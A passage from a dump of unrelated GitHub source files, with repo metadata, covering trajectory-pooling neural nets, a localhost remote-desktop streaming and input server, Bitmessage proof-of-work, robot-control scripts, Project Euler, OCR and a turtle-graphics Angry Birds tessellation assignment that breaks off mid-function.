Occupancy and Directional pooling """ if obs.ndim == 2: obs = obs.unsqueeze(0) timesteps = obs.size(0) grid = [] for i in range(1, timesteps): obs1 = obs[i-1] obs2 = obs[i] ## Remove NANs track_mask = (torch.isnan(obs1[:, 0]) + torch.isnan(obs2[:, 0])) == 0 obs1, obs2 = obs1[track_mask], obs2[track_mask] if self.type_ == 'occupancy': grid.append(self.occupancies(obs1, obs2)) elif self.type_ == 'directional': grid.append(self.directional(obs1, obs2)) return grid ``` #### File: Asymmetrical-Bi-RNNs-to-encode-pedestrian-trajectories/Social-NCE_U-LSTM/more_non_gridbased_pooling.py ```python from collections import defaultdict import torch class NMMP(torch.nn.Module): """ Interaction vector is obtained by message passing between hidden-state of all neighbours. Proposed in NMMP, CVPR 2020 Parameters: mlp_dim: embedding size of hidden-state k: number of iterations of message passing out_dim: dimension of resultant interaction vector Attributes ---------- mlp_dim : Scalar Embedding dimension of hidden-state of LSTM k : Scalar Number of iterations of message passing out_dim: Scalar Dimension of resultant interaction vector """ def __init__(self, hidden_dim=128, mlp_dim=32, k=5, out_dim=None): super(NMMP, self).__init__() self.out_dim = out_dim or hidden_dim self.hidden_embedding = torch.nn.Sequential( torch.nn.Linear(hidden_dim, mlp_dim), torch.nn.ReLU(), ) self.mlp_dim = mlp_dim self.node_to_edge_embedding = torch.nn.Linear(2*mlp_dim, mlp_dim) self.edge_to_node_embedding = torch.nn.Linear(2*mlp_dim, mlp_dim) self.out_projection = torch.nn.Linear(mlp_dim, self.out_dim) self.k = k def message_pass(self, node_embeddings): # Perform a single iteration of message passing n = node_embeddings.size(0) arrange1 = node_embeddings.repeat(n, 1, 1) ## c arrange2 = arrange1.transpose(0, 1) ## d ## e_out e_out_all = torch.cat([arrange2, arrange1], dim=2) e_out_neighbours = e_out_all[~torch.eye(n).bool()].reshape(n, n-1, 2*self.mlp_dim) e_out_edges = self.node_to_edge_embedding(e_out_neighbours) e_out_sumpool = torch.mean(e_out_edges, dim=1) ## e_in e_in_all = torch.cat([arrange1, arrange2], dim=2) e_in_neighbours = e_in_all[~torch.eye(n).bool()].reshape(n, n-1, 2*self.mlp_dim) e_in_edges = self.node_to_edge_embedding(e_in_neighbours) e_in_sumpool = torch.mean(e_in_edges, dim=1) ## [e_in; e_out] concat_nodes = torch.cat([e_in_sumpool, e_out_sumpool], dim=1) ## refined node refined_embeddings = self.edge_to_node_embedding(concat_nodes) return refined_embeddings def reset(self, _, device): self.track_mask = None def forward(self, hidden_states, _, obs2): ## If only primary present num_tracks = obs2.size(0) if num_tracks == 1: return torch.zeros(1, self.out_dim, device=obs2.device) ## Embed hidden-state node_embeddings = self.hidden_embedding(hidden_states) ## Iterative Message Passing for _ in range(self.k): node_embeddings = self.message_pass(node_embeddings) return self.out_projection(node_embeddings) ```
{ "source": "josephGhobadi/irdc", "score": 3 }
#### File: josephGhobadi/irdc/FfmpegBinding.py ```python import os import platform import subprocess import screeninfo class ffmpeg: def __init__(self, port): self.ffmpeg_command = "" self.platform = platform.system() self.current_file_address = os.path.dirname(os.path.abspath(__file__)) ''' make commands ''' self.make_ffmpeg_command(port) ''' ffmpeg process ''' self.process = None self.run_ffmpeg() def make_ffmpeg_command(self, port): ffmpeg_arguments = " -hide_banner -loglevel panic" if self.platform == "Linux": ffmpeg_arguments = ffmpeg_arguments + " -video_size " ffmpeg_arguments = ffmpeg_arguments + str(screeninfo.get_monitors()[0].width) + "x" ffmpeg_arguments = ffmpeg_arguments + str(screeninfo.get_monitors()[0].height) ffmpeg_arguments = ffmpeg_arguments + " -f x11grab -i " + os.environ['DISPLAY'] + " " elif self.platform == "Windows": ffmpeg_arguments = ffmpeg_arguments + ffmpeg_arguments + " -f gdigrab " ffmpeg_arguments = ffmpeg_arguments + "-framerate 15" ffmpeg_arguments = ffmpeg_arguments + " -rtsp_transport tcp -f rtsp rtsp://localhost:" + str(port) + "/test" if self.platform == "Linux": self.ffmpeg_command = self.current_file_address + "/bin/unix/ffmpeg" + ffmpeg_arguments elif self.platform == "Windows": self.ffmpeg_command = self.current_file_address + "\\bin\\windows\\ffmpeg.exe" + ffmpeg_arguments def check_alive(self): try: os.kill(self.process.pid, 0) return True except OSError: return False def run_ffmpeg(self): self.process = subprocess.Popen(self.ffmpeg_command, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True) def __del__(self): self.process.kill() ``` #### File: josephGhobadi/irdc/WsCommandServer.py ```python import asyncio import json import inspect import pyautogui import websockets class WsCommandServer: async def mouse_press(self, params): pyautogui.mouseDown(button=params["button"], x=params["x"], y=params["y"]) pass async def mouse_release(self, params): pyautogui.mouseUp(button=params["button"], x=params["x"], y=params["y"]) pass async def keyboard_press(self, params): pyautogui.keyDown(params['code']) pass async def keyboard_release(self, params): pyautogui.keyDown(params['code']) pass async def commands_switch(self, websocket, path): async for message in websocket: data = json.loads(message) class_methods = [i for i in dir(WsCommandServer) if not inspect.isfunction(i) and '__' not in i] if data["command"] in class_methods: func = getattr(self, data["command"]) await func(data["params"]) else: print("unrecognizable action!") def run_ws_server(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) asyncio.get_event_loop().run_until_complete( websockets.serve(WsCommandServer().commands_switch, 'localhost', 1553)) asyncio.get_event_loop().run_forever() ```
{ "source": "josephglanville/confluent-kafka-python", "score": 3 }
#### File: avro/serializer/__init__.py ```python class SerializerError(Exception): """Generic error from serializer package""" def __init__(self, message): self.message = message def __repr__(self): return '{klass}(error={error})'.format( klass=self.__class__.__name__, error=self.message ) def __str__(self): return self.message class KeySerializerError(SerializerError): pass class ValueSerializerError(SerializerError): pass ```
{ "source": "JosephGoulden/PyBitmessageF2F", "score": 2 }
#### File: PyBitmessageF2F/src/proofofwork.py ```python import hashlib from struct import unpack, pack import sys from shared import config, frozen import shared #import os def _set_idle(): if 'linux' in sys.platform: import os os.nice(20) # @UndefinedVariable else: try: sys.getwindowsversion() import win32api,win32process,win32con # @UnresolvedImport pid = win32api.GetCurrentProcessId() handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid) win32process.SetPriorityClass(handle, win32process.IDLE_PRIORITY_CLASS) except: #Windows 64-bit pass def _pool_worker(nonce, initialHash, target, pool_size): _set_idle() trialValue = float('inf') while trialValue > target: nonce += pool_size trialValue, = unpack('>Q',hashlib.sha512(hashlib.sha512(pack('>Q',nonce) + initialHash).digest()).digest()[0:8]) return [trialValue, nonce] def _doSafePoW(target, initialHash): nonce = 0 trialValue = float('inf') while trialValue > target: nonce += 1 trialValue, = unpack('>Q',hashlib.sha512(hashlib.sha512(pack('>Q',nonce) + initialHash).digest()).digest()[0:8]) return [trialValue, nonce] def _doFastPoW(target, initialHash): import time from multiprocessing import Pool, cpu_count try: pool_size = cpu_count() except: pool_size = 4 try: maxCores = config.getint('bitmessagesettings', 'maxcores') except: maxCores = 99999 if pool_size > maxCores: pool_size = maxCores pool = Pool(processes=pool_size) result = [] for i in range(pool_size): result.append(pool.apply_async(_pool_worker, args = (i, initialHash, target, pool_size))) while True: if shared.shutdown >= 1: pool.terminate() while True: time.sleep(10) # Don't let this thread return here; it will return nothing and cause an exception in bitmessagemain.py return for i in range(pool_size): if result[i].ready(): result = result[i].get() pool.terminate() pool.join() #Wait for the workers to exit... return result[0], result[1] time.sleep(0.2) def run(target, initialHash): target = int(target) if frozen == "macosx_app" or not frozen: return _doFastPoW(target, initialHash) else: return _doSafePoW(target, initialHash) ```
{ "source": "JosephGregg/robotstreamer", "score": 3 }
#### File: JosephGregg/robotstreamer/gopigo_interface.py ```python import sys import time import gopigo import robot_util def handleCommand(command, keyPosition): # only uses pressing down of keys if keyPosition != "down": return print("handle command", command, keyPosition) if command == 'L': gopigo.left_rot() time.sleep(0.15) gopigo.stop() if command == 'R': gopigo.right_rot() time.sleep(0.15) gopigo.stop() if command == 'F': gopigo.forward() time.sleep(0.4) gopigo.stop() if command == 'B': gopigo.backward() time.sleep(0.3) gopigo.stop() robot_util.handleSoundCommand(command, keyPosition) ``` #### File: robotstreamer/player/player.py ```python import os import asyncio import websockets import time import argparse import json import _thread import traceback import subprocess import urllib import urllib.request config = json.load(open('config.json')) userID = "26" chatEndpoint = {'host': '192.168.3.11', 'port': 8765} parser = argparse.ArgumentParser(description='robotstreamer chat bot') commandArgs = parser.parse_args() def jsonResponsePOST(url, jsonObject): print("json object to POST", jsonObject) params = json.dumps(jsonObject).encode('utf8') req = urllib.request.Request(url, data=params, headers={'content-type': 'application/json'}) response = urllib.request.urlopen(req) jsonResponse = json.loads(response.read()) print("response:", jsonResponse) return jsonResponse async def handleStatusMessages(): global mainWebsocket print("running handle status messages") url = 'ws://%s:%s' % (chatEndpoint['host'], chatEndpoint['port']) print("chat url:", url) async with websockets.connect(url) as websocket: mainWebsocket = websocket print("connected to service at", url) print("chat websocket object:", websocket) print("starting websocket.send") #await websocket.send(json.dumps({"type":"connect", # "robot_id":1, # "local_address":"1"})) while True: print("awaiting message, this is optional (Ctrl-Break in Windows to Break)") message = await websocket.recv() print("received message:", message) async def handleUpdateMessages(): global mainWebsocket count = 0 print("start update") while True: time.sleep(2) print("sending") m = "!play https://youtubewhatever to play a song" if count % 2 == 0: m = m + " " print("message to send:", m) await mainWebsocket.send(json.dumps({"message": m, "token": config['jwt_user_token']})) count += 1 time.sleep(160*5) def startStatus(): print("starting status") try: asyncio.new_event_loop().run_until_complete(handleStatusMessages()) except: print("error") traceback.print_exc() def startUpdateMessages(): print("starting status") try: asyncio.new_event_loop().run_until_complete(handleUpdateMessages()) except: print("error") traceback.print_exc() def main(): print(commandArgs) print("starting chat bot") _thread.start_new_thread(startStatus, ()) _thread.start_new_thread(startUpdateMessages, ()) # wait forever while True: time.sleep(5) if __name__ == '__main__': main() ``` #### File: JosephGregg/robotstreamer/vibrate.py ```python from math import sin from robot_util import times from Adafruit_MotorHAT import Adafruit_MotorHAT, Adafruit_DCMotor import time vibrateSystemActive = False def setMotorSpeed(mh, motorIndex, direction, s): motor = mh.getMotor(motorIndex+1) #print("direction", direction) if direction == 1: motor.setSpeed(s) motor.run(Adafruit_MotorHAT.FORWARD) if direction == -1: motor.setSpeed(s) motor.run(Adafruit_MotorHAT.BACKWARD) def vibrate(mh, forwardDefinition): global vibrateSystemActive if vibrateSystemActive: print("skip") else: vibrateSystemActive = True for i in range(60): a = float(i) / 1.0 speed = int(sin(a) * 255.0) print("speed", speed) if speed >= 0: directions = forwardDefinition else: directions = times(forwardDefinition, -1) speed = -speed print(speed, directions) for motorIndex in range(4): setMotorSpeed(mh, motorIndex, directions[motorIndex], speed) time.sleep(0.05) turnOffMotors(mh) vibrateSystemActive = False #todo: this function should be in a file shared by this and rsbot def turnOffMotors(mh): mh.getMotor(1).run(Adafruit_MotorHAT.RELEASE) mh.getMotor(2).run(Adafruit_MotorHAT.RELEASE) mh.getMotor(3).run(Adafruit_MotorHAT.RELEASE) mh.getMotor(4).run(Adafruit_MotorHAT.RELEASE) def main(): mh = Adafruit_MotorHAT(addr=0x60) vibrate(mh, [-1,1,-1,1]) if __name__ == "__main__": main() ```
{ "source": "josephhaddad55/project-euler", "score": 4 }
#### File: josephhaddad55/project-euler/euler1.py ```python def find_sum_multiples(n: int, first_multiple: int, second_multiple: int) -> int: result = 0 for i in range(0, n): if i % first_multiple == 0 or i % second_multiple == 0: result += i return result if __name__ == "__main__": assert find_sum_multiples(1000, 3, 5) == 233168 ``` #### File: josephhaddad55/project-euler/euler2.py ```python def find_even_sum_fib() -> int: a, b = 1, 2 result = 0 while b < 4e6: if b % 2 == 0: result += b b = a + b a = b - a return result if __name__ == "__main__": assert find_even_sum_fib() == 4613732 ```
{ "source": "josephhaddad55/supreme-waddle-ocr", "score": 3 }
#### File: josephhaddad55/supreme-waddle-ocr/read.py ```python import time from PIL import Image from pytesseract import image_to_string def read_image(): # Log the time time_start = time.time() # Object to capture results text_from_image = {} # Try to read the image try: print("Reading image ...\n") text_from_image = image_to_string( Image.open("./dump-ticket.jpeg"), lang="eng", config="", nice=0, output_type="dict", ) except Exception as e: print(e) print(f"It took {time.time() - time_start} seconds for conversion. \n") return text_from_image if __name__ == "__main__": print(read_image()) ```
{ "source": "Joseph-Haddad/Joseph-Haddad-Portfolio", "score": 3 }
#### File: Joseph-Haddad/Joseph-Haddad-Portfolio/tessellation.py ```python from turtle import * from math import * from random import * # Define constant values used in the main program that sets up # the drawing canvas. Do not change any of these values. cell_size = 100 # pixels (default is 100) grid_width = 10 # squares (default is 10) grid_height = 7 # squares (default is 7) x_margin = cell_size * 2.75 # pixels, the size of the margin left/right of the grid y_margin = cell_size // 2 # pixels, the size of the margin below/above the grid window_height = grid_height * cell_size + y_margin * 2 window_width = grid_width * cell_size + x_margin * 2 small_font = ('Arial', 18, 'normal') # font for the coords big_font = ('Arial', 24, 'normal') # font for any other text # Validity checks on grid size - do not change this code assert cell_size >= 80, 'Cells must be at least 80x80 pixels in size' assert grid_width >= 8, 'Grid must be at least 8 squares wide' assert grid_height >= 6, 'Grid must be at least 6 squares high' # #--------------------------------------------------------------------# #-----Functions for Creating the Drawing Canvas----------------------# # # The functions in this section are called by the main program to # manage the drawing canvas for your image. You should not change # any of the code in this section. # # Set up the canvas and draw the background for the overall image def create_drawing_canvas(bg_colour = 'light blue', line_colour = 'slate grey', draw_grid = True, mark_legend = False): # Set up the drawing canvas with enough space for the grid and # legend setup(window_width, window_height) bgcolor(bg_colour) # Draw as quickly as possible tracer(False) # Get ready to draw the grid penup() color(line_colour) width(2) # Determine the left-bottom coords of the grid left_edge = -(grid_width * cell_size) // 2 bottom_edge = -(grid_height * cell_size) // 2 # Optionally draw the grid if draw_grid: # Draw the horizontal grid lines setheading(0) # face east for line_no in range(0, grid_height + 1): penup() goto(left_edge, bottom_edge + line_no * cell_size) pendown() forward(grid_width * cell_size) # Draw the vertical grid lines setheading(90) # face north for line_no in range(0, grid_width + 1): penup() goto(left_edge + line_no * cell_size, bottom_edge) pendown() forward(grid_height * cell_size) # Draw each of the labels on the x axis penup() y_offset = 27 # pixels for x_label in range(0, grid_width): goto(left_edge + (x_label * cell_size) + (cell_size // 2), bottom_edge - y_offset) write(chr(x_label + ord('A')), align = 'center', font = small_font) # Draw each of the labels on the y axis penup() x_offset, y_offset = 7, 10 # pixels for y_label in range(0, grid_height): goto(left_edge - x_offset, bottom_edge + (y_label * cell_size) + (cell_size // 2) - y_offset) write(str(y_label + 1), align = 'right', font = small_font) # Mark centre coordinate (0, 0) home() dot(15) # Optionally mark the spaces for drawing the legend if mark_legend: # Left side goto(-(grid_width * cell_size) // 2 - 75, -25) write('Put your\nlegend here', align = 'right', font = big_font) # Right side goto((grid_width * cell_size) // 2 + 75, -25) write('Put your\nlegend here', align = 'left', font = big_font) # Reset everything ready for the student's solution pencolor('black') width(1) penup() home() tracer(True) # End the program and release the drawing canvas to the operating # system. By default the cursor (turtle) is hidden when the # program ends - call the function with False as the argument to # prevent this. def release_drawing_canvas(hide_cursor = True): tracer(True) # ensure any drawing still in progress is displayed if hide_cursor: hideturtle() done() # #--------------------------------------------------------------------# #-----Test Data for Use During Code Development----------------------# # # The "fixed" data sets in this section are provided to help you # develop and test your code. You can use them as the argument to # the "tesselate" function while perfecting your solution. However, # they will NOT be used to assess your program. Your solution will # be assessed using the "random_pattern" function appearing below. # Your program must work correctly for any data set that can be # generated by the random_pattern function. # # Each of the data sets is a list of instructions, each specifying # where to place a particular tile. The general form of each # instruction is # # [squares, mystery_value] # # where there may be one, two or four squares in the grid listed # at the beginning. This tells us which grid squares must be # filled by this particular tile. This information also tells # us which shape of tile to produce. A "big" tile will occupy # four grid squares, a "small" tile will occupy one square, a # "wide" tile will occupy two squares in the same row, and a # "tall" tile will occupy two squares in the same column. The # purpose of the "mystery value" will be revealed in Part B of # the assignment. # # Note that the fixed patterns below assume the grid has its # default size of 10x7 squares. # # Some starting points - the following fixed patterns place # just a single tile in the grid, in one of the corners. # Small tile fixed_pattern_0 = [['A1', 'O']] fixed_pattern_1 = [['J7', 'X']] # Wide tile fixed_pattern_2 = [['A7', 'B7', 'O']] fixed_pattern_3 = [['I1', 'J1', 'X']] # Tall tile fixed_pattern_4 = [['A1', 'A2', 'O']] fixed_pattern_5 = [['J6', 'J7', 'X']] # Big tile fixed_pattern_6 = [['A6', 'B6', 'A7', 'B7', 'O']] fixed_pattern_7 = [['I1', 'J1', 'I2', 'J2', 'X']] # Each of these patterns puts multiple copies of the same # type of tile in the grid. # Small tiles fixed_pattern_8 = [['E1', 'O'], ['J4', 'O'], ['C5', 'O'], ['B1', 'O'], ['I1', 'O']] fixed_pattern_9 = [['C6', 'X'], ['I4', 'X'], ['D6', 'X'], ['J5', 'X'], ['F6', 'X'], ['F7', 'X']] # Wide tiles fixed_pattern_10 = [['A4', 'B4', 'O'], ['C1', 'D1', 'O'], ['C7', 'D7', 'O'], ['A7', 'B7', 'O'], ['D4', 'E4', 'O']] fixed_pattern_11 = [['D7', 'E7', 'X'], ['G7', 'H7', 'X'], ['H5', 'I5', 'X'], ['B3', 'C3', 'X']] # Tall tiles fixed_pattern_12 = [['J2', 'J3', 'O'], ['E5', 'E6', 'O'], ['I1', 'I2', 'O'], ['E1', 'E2', 'O'], ['D3', 'D4', 'O']] fixed_pattern_13 = [['H4', 'H5', 'X'], ['F1', 'F2', 'X'], ['E2', 'E3', 'X'], ['C4', 'C5', 'X']] # Big tiles fixed_pattern_14 = [['E5', 'F5', 'E6', 'F6', 'O'], ['I5', 'J5', 'I6', 'J6', 'O'], ['C2', 'D2', 'C3', 'D3', 'O'], ['H2', 'I2', 'H3', 'I3', 'O'], ['A3', 'B3', 'A4', 'B4', 'O']] fixed_pattern_15 = [['G2', 'H2', 'G3', 'H3', 'X'], ['E5', 'F5', 'E6', 'F6', 'X'], ['E3', 'F3', 'E4', 'F4', 'X'], ['B3', 'C3', 'B4', 'C4', 'X']] # Each of these patterns puts one instance of each type # of tile in the grid. fixed_pattern_16 = [['I5', 'O'], ['E1', 'F1', 'E2', 'F2', 'O'], ['J5', 'J6', 'O'], ['G7', 'H7', 'O']] fixed_pattern_17 = [['G7', 'H7', 'X'], ['B7', 'X'], ['A5', 'B5', 'A6', 'B6', 'X'], ['D2', 'D3', 'X']] # If you want to create your own test data sets put them here, # otherwise call function random_pattern to obtain data sets # that fill the entire grid with tiles. # #--------------------------------------------------------------------# #-----Function for Assessing Your Solution---------------------------# # # The function in this section will be used to assess your solution. # Do not change any of the code in this section. # # The following function creates a random data set specifying a # tessellation to draw. Your program must work for any data set that # can be returned by this function. The results returned by calling # this function will be used as the argument to your "tessellate" # function during marking. For convenience during code development # and marking this function also prints the pattern to be drawn to the # shell window. NB: Your solution should not print anything else to # the shell. Make sure any debugging calls to the "print" function # are disabled before you submit your solution. # # This function attempts to place tiles using a largest-to-smallest # greedy algorithm. However, it randomises the placement of the # tiles and makes no attempt to avoid trying the same location more # than once, so it's not very efficient and doesn't maximise the # number of larger tiles placed. In the worst case, only one big # tile will be placed in the grid (but this is very unlikely)! # # As well as the coordinates for each tile, an additional value which # is either an 'O' or 'X' accompanies each one. The purpose of this # "mystery" value will be revealed in Part B of the assignment. # def random_pattern(print_pattern = True): # Keep track of squares already occupied been_there = [] # Initialise the pattern pattern = [] # Percent chance of the mystery value being an X mystery_probability = 8 # Attempt to place as many 2x2 tiles as possible, up to a fixed limit attempts = 10 while attempts > 0: # Choose a random bottom-left location column = randint(0, grid_width - 2) row = randint(0, grid_height - 2) # Try to place the tile there, provided the spaces are all free if (not [column, row] in been_there) and \ (not [column, row + 1] in been_there) and \ (not [column + 1, row] in been_there) and \ (not [column + 1, row + 1] in been_there): been_there = been_there + [[column, row], [column, row + 1], [column + 1, row], [column + 1, row + 1]] # Append the tile's coords to the pattern, plus the mystery value pattern.append([chr(column + ord('A')) + str(row + 1), chr(column + ord('A') + 1) + str(row + 1), chr(column + ord('A')) + str(row + 2), chr(column + ord('A') + 1) + str(row + 2), 'X' if randint(1, 100) <= mystery_probability else 'O']) # Keep track of the number of attempts attempts = attempts - 1 # Attempt to place as many 1x2 tiles as possible, up to a fixed limit attempts = 15 while attempts > 0: # Choose a random bottom-left location column = randint(0, grid_width - 1) row = randint(0, grid_height - 2) # Try to place the tile there, provided the spaces are both free if (not [column, row] in been_there) and \ (not [column, row + 1] in been_there): been_there = been_there + [[column, row], [column, row + 1]] # Append the tile's coords to the pattern, plus the mystery value pattern.append([chr(column + ord('A')) + str(row + 1), chr(column + ord('A')) + str(row + 2), 'X' if randint(1, 100) <= mystery_probability else 'O']) # Keep track of the number of attempts attempts = attempts - 1 # Attempt to place as many 2x1 tiles as possible, up to a fixed limit attempts = 20 while attempts > 0: # Choose a random bottom-left location column = randint(0, grid_width - 2) row = randint(0, grid_height - 1) # Try to place the tile there, provided the spaces are both free if (not [column, row] in been_there) and \ (not [column + 1, row] in been_there): been_there = been_there + [[column, row], [column + 1, row]] # Append the tile's coords to the pattern, plus the mystery value pattern.append([chr(column + ord('A')) + str(row + 1), chr(column + ord('A') + 1) + str(row + 1), 'X' if randint(1, 100) <= mystery_probability else 'O']) # Keep track of the number of attempts attempts = attempts - 1 # Fill all remaining spaces with 1x1 tiles for column in range(0, grid_width): for row in range(0, grid_height): if not [column, row] in been_there: been_there.append([column, row]) # Append the tile's coords to the pattern, plus the mystery value pattern.append([chr(column + ord('A')) + str(row + 1), 'X' if randint(1, 100) <= mystery_probability else 'O']) # Remove any residual structure in the pattern shuffle(pattern) # Print the pattern to the shell window, nicely laid out print('Draw the tiles in this sequence:') print(str(pattern).replace('],', '],\n')) # Return the tessellation pattern return pattern # #--------------------------------------------------------------------# #-----Student's Solution---------------------------------------------# # # Complete the assignment by replacing the dummy function below with # your own "tessellate" function. # def two_by_two(): ### Red ### Draw the outer rectangle setheading(0) width(3) fillcolor('steel blue') begin_fill() pendown() forward(200) left(90) forward(200) left(90) forward(200) left(90) forward(200) end_fill() penup() ### Outer black circle setheading(0) forward(100) left(90) forward(100) pencolor('black') dot(170) left(180) forward(100) right(90) forward(100) setheading(270) # Positioning of the body forward(-120) right(90) forward(-60) left(90) ### Main body of bird width(5) fillcolor('Firebrick') begin_fill() pendown() right(45) circle(60, extent = 270) right(45) circle(50, extent = 70) left(30) circle(50, extent = 10 ) left(30) circle(50, extent = 10 ) left(30) circle(50, extent = 40 ) right(190) circle(50, extent = 60 ) left(30) circle(50, extent = 20 ) left(30) circle(50, extent = 20 ) left(70) forward(10) end_fill() penup() width(3) ### Positioning forward(70) ### Eye brows fillcolor('black') begin_fill() pendown() right(140) forward(30) right(60) forward(30) left(80) forward(10) left(105) forward(35) left(50) forward(35) left(80) forward(10) end_fill() penup() ### Positining forward(3) right(90) forward(-56) left(90) ### Left eye fillcolor('white') begin_fill() pendown() left(100) circle(20, extent = 30) left(30) circle(20, extent = 40) left(30) circle(20, extent = 80) left(30) forward(2) end_fill() penup() ### Positioning right(90) forward(10) left(90) ### Right eye pendown() fillcolor('white') begin_fill() pendown() left(175) circle(20, extent = 30) left(30) circle(20, extent = 40) left(30) circle(20, extent = 80) left(30) forward(2) end_fill() penup() ### Positioining setheading(180) forward(9) left(90) forward(15) #### Right eye dot pendown() dot(10) penup() ### Positioining setheading(180) forward(35) left(90) forward(-4) ### Left eye dot pendown() dot(10) penup() ### Positioning setheading(270) forward(50) setheading(0) forward(57) setheading(90) ### White belly section fillcolor('wheat') begin_fill() pendown() left(50) circle(50, extent = 94) setheading(0) right(38) circle(50, extent = 94) end_fill() penup() ### Positioning left(90) forward(70) right(90) right(30) forward(18) left(30) ### Beak width(3) fillcolor('Orange') begin_fill() pendown() left(170) circle(50, extent = 30) left(120) forward(30) left(120) forward(25) end_fill() penup() ### Positioning setheading(270) forward(22) ### Bottom part of beak width(2) fillcolor('Dark Orange') begin_fill() pendown() left(45) forward(10) left(100) forward(12) left(135) forward(12) end_fill() penup() def one_by_one(): ### Yellow ### Tile outline setheading(0) pendown() setheading(0) width(3) pencolor('black') fillcolor('beige') begin_fill() forward(100) left(90) forward(100) left(90) forward(100) left(90) forward(100) end_fill() penup() ### Positioning setheading(0) forward(20) left(90) forward(10) ### Chucks body width(3) fillcolor('yellow') begin_fill() pendown() right(100) circle(200, extent = 20) left(90) circle(200, extent = 20) left(100) circle(200, extent = 24) left(120) forward(5) end_fill() ### Positioning penup() setheading(0) forward(50) left(90) forward(60) ### Spiky Hair fillcolor('black') begin_fill() pendown() right(50) circle(20, extent = 70) right(220) forward(10) right(110) circle(30, extent = 40) left(120) forward(15) right(150) circle(30, extent = 40) left(130) forward(20) end_fill() ### Positioning penup() setheading(0) right(90) forward(25) right(90) forward(5) ### Eyes penup() right(90) forward(-8) pendown() pencolor('black') dot(15) pencolor('white') dot(10) pencolor('black') dot(5) penup() right(90) forward(20) pendown() pencolor('black') dot(15) pencolor('white') dot(10) pencolor('black') dot(5) penup() ### Positioning left(180) forward(20) left(90) forward(12) left(100) ### Beak fillcolor('orange') begin_fill() pendown() width(2) forward(15) right(20) forward(15) setheading(180) left(10) forward(10) left(90) forward(10) left(10) forward(10) setheading(180) right(40) forward(32) end_fill() ### Positioning penup() setheading(180) forward(9) setheading(90) forward(25) ### Left eye brow pendown() pencolor('firebrick') fillcolor('firebrick') begin_fill() setheading(0) forward(20) left(90) forward(2) left(90) forward(20) left(90) forward(2) end_fill() ### Positioning penup() setheading(0) forward(20) setheading(90) forward(5) setheading(0) ### Right eye brow pendown() pencolor('firebrick') fillcolor('firebrick') begin_fill() setheading(0) forward(20) left(90) forward(2) left(90) forward(20) left(90) forward(2) end_fill() penup() def horizontal(): ### Bad Piggie ### Tile outline setheading(0) fillcolor('sandy brown') begin_fill() width(3) pendown() forward(200) left(90) forward(100) left(90) forward(200) left(90) forward(100) end_fill() penup() ### Positioning setheading(0) forward(100) setheading(90) forward(5) ### Body pencolor('dark green') fillcolor('lawn green') begin_fill() pendown() setheading(0) circle(40) end_fill() ### Ears penup() circle(40, extent = 130) pendown() fillcolor('lawn green') begin_fill() circle(-10) end_fill() penup() circle(40, extent = 90) pendown() fillcolor('lawn green') begin_fill() circle(-10) end_fill() penup() circle(40, extent = 150) setheading(90) forward(40) ### Eyes setheading(180) forward(30) pendown() pencolor('green') dot(20) pencolor('white') dot(15) pencolor('black') dot(5) penup() setheading(0) forward(25) pendown() pencolor('green') dot(30) pencolor('yellow green') dot(25) ### Nose holes penup() setheading(180) forward(5) pendown() pencolor('dark green') dot(10) setheading(0) penup() forward(10) pendown() dot(10) penup() forward(20) pendown() dot(20) pencolor('white') dot(15) pencolor('black') dot(5) ### Positioning pencolor('dark green') penup() setheading(180) forward(25) setheading(270) forward(20) dot(15) penup() forward(-5) pencolor('white') pendown() dot(5) setheading(0) forward(-5) dot(5) forward(10) dot(5) penup() ### TNT BOX setheading(180) forward(100) setheading(270) pencolor('saddle brown') fillcolor('burlywood') begin_fill() pendown() forward(25) left(90) forward(25) left(90) forward(25) left(90) forward(25) penup() left(90) forward(15) left(90) forward(5) end_fill() pencolor('red') write('TNT') ### TNT BOX penup() forward(15) left(90) forward(60) setheading(270) pencolor('saddle brown') fillcolor('burlywood') begin_fill() pendown() forward(25) left(90) forward(25) left(90) forward(25) left(90) forward(25) penup() left(90) forward(15) left(90) forward(5) end_fill() pencolor('red') write('TNT') ### TNT BOX penup() forward(120) right(90) forward(30) pencolor('saddle brown') fillcolor('burlywood') begin_fill() pendown() forward(25) left(90) forward(25) left(90) forward(25) left(90) forward(25) penup() left(90) forward(15) left(90) forward(5) end_fill() pencolor('red') write('TNT') def vertical(): ### The Blues ### Tile outline setheading(0) fillcolor('light coral') begin_fill() width(3) pendown() forward(100) left(90) forward(200) left(90) forward(100) left(90) forward(200) end_fill() penup() ### Positioning setheading(0) forward(30) left(90) forward(30) ### Body fillcolor('steel blue') begin_fill() pendown() setheading(0) right(19) circle(50, extent = 110) setheading(90) forward(40) circle(50, extent = 50) right(40) circle(20, extent = 90) left(30) circle(20, extent = 20) left(30) circle(20, extent = 20) left(40) forward(15) right(180) forward(15) circle(50, extent = 20) left(30) circle(20, extent = 30) left(30) circle(20, extent = 30) left(50) forward(10) right(121) circle(80, extent = 94) end_fill() ### Positioning penup() setheading(90) forward(90) setheading(0) forward(10) ### Left eye pendown() dot(30) pencolor('white') dot(25) penup() forward(7) pendown() pencolor('black') dot(10) ### Positioning penup() forward(30) ### Right eye pendown() dot(30) pencolor('white') dot(25) penup() forward(7) pendown() pencolor('black') dot(10) ### Positioning penup() setheading(270) forward(15) setheading(180) forward(45) ### Orange bit under beak fillcolor('firebrick') begin_fill() pendown() left(130) circle(50, extent = 60) left(90) forward(18) left(80) forward(40) end_fill() ### Positioning penup() left(55) forward(20) left(170) ### Beak fillcolor('orange') begin_fill() pendown() forward(30) right(75) forward(45) setheading(180) forward(60) end_fill() fillcolor('orange') begin_fill() setheading(270) left(30) forward(20) left(80) forward(42) end_fill() penup() def broken_tile_two_by_two(): ### Broken Red setheading(0) width(3) fillcolor('steel blue') begin_fill() pendown() forward(200) left(90) forward(200) left(90) forward(200) left(90) forward(200) end_fill() penup() setheading(0) forward(100) left(90) forward(100) pencolor('black') dot(170) left(180) forward(100) right(90) forward(100) setheading(270) # positioning of the body forward(-120) right(90) forward(-60) left(90) #### body width(5) fillcolor('Firebrick') begin_fill() pendown() right(45) circle(60, extent = 270) right(45) circle(50, extent = 70) left(30) circle(50, extent = 10 ) left(30) circle(50, extent = 10 ) left(30) circle(50, extent = 40 ) right(190) circle(50, extent = 60 ) left(30) circle(50, extent = 20 ) left(30) circle(50, extent = 20 ) left(70) forward(10) end_fill() penup() width(3) # positioning forward(70) #Brows fillcolor('black') begin_fill() pendown() right(140) forward(30) right(60) forward(30) left(80) forward(10) left(105) forward(35) left(50) forward(35) left(80) forward(10) 